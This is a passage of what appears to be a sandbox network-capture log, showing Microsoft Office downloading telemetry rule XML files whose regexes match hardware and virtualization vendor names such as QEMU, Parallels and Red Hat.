2024-11-01 12:43:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 23757113-901e-0029-2f3e-2c274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124310Z-176bd8f9bc5fvjnbhC1DFW9ez800000000mg000000005hmr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	62369	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:10 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:10 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: e515af6a-f01e-0099-70a8-2b9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124310Z-16ccfc498972q798hC1DFWe4nw00000000q00000000061cy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	62370	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:10 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: a2826c7a-f01e-0003-6908-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124310Z-16dc884887bjvht7hC1DFWcv4000000000h00000000079rp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	62371	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:10 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a77738ad-c01e-0066-3708-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124310Z-16ccfc49897rxv9khC1DFWwn2800000000gg00000000eqs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	62372	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:10 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124310Z-16ccfc49897bsnckhC1DFW699w00000000fg00000000evkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	62373	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:11 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 3c311aa7-c01e-008e-22a5-2a7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124311Z-159b85dff8fdh9tvhC1DFW50vs000000034000000000bmp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	62374	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:11 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:11 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2ff20288-601e-0084-1c49-2c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124311Z-176bd8f9bc5fvjnbhC1DFW9ez800000000q00000000002my x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:11 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	62375	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:11 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: fd45401a-201e-005d-6808-2cafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124311Z-16ccfc498979lfwnhC1DFW56w800000000tg000000001wkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	62376	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 7134e14c-501e-0078-0508-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124311Z-16ccfc49897774xmhC1DFWuraw00000000c0000000002g6u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	62377	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5d06de89-b01e-0084-7008-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124311Z-16ccfc498974624whC1DFWdg3800000000gg0000000019d0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	62378	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124312Z-16dc884887bbfwjkhC1DFWyza800000000ng000000005dqb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	62379	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e3e0e02d-201e-003f-52b1-2b6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124312Z-16dc884887bq5c9jhC1DFW2g3g00000000n000000000a49c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

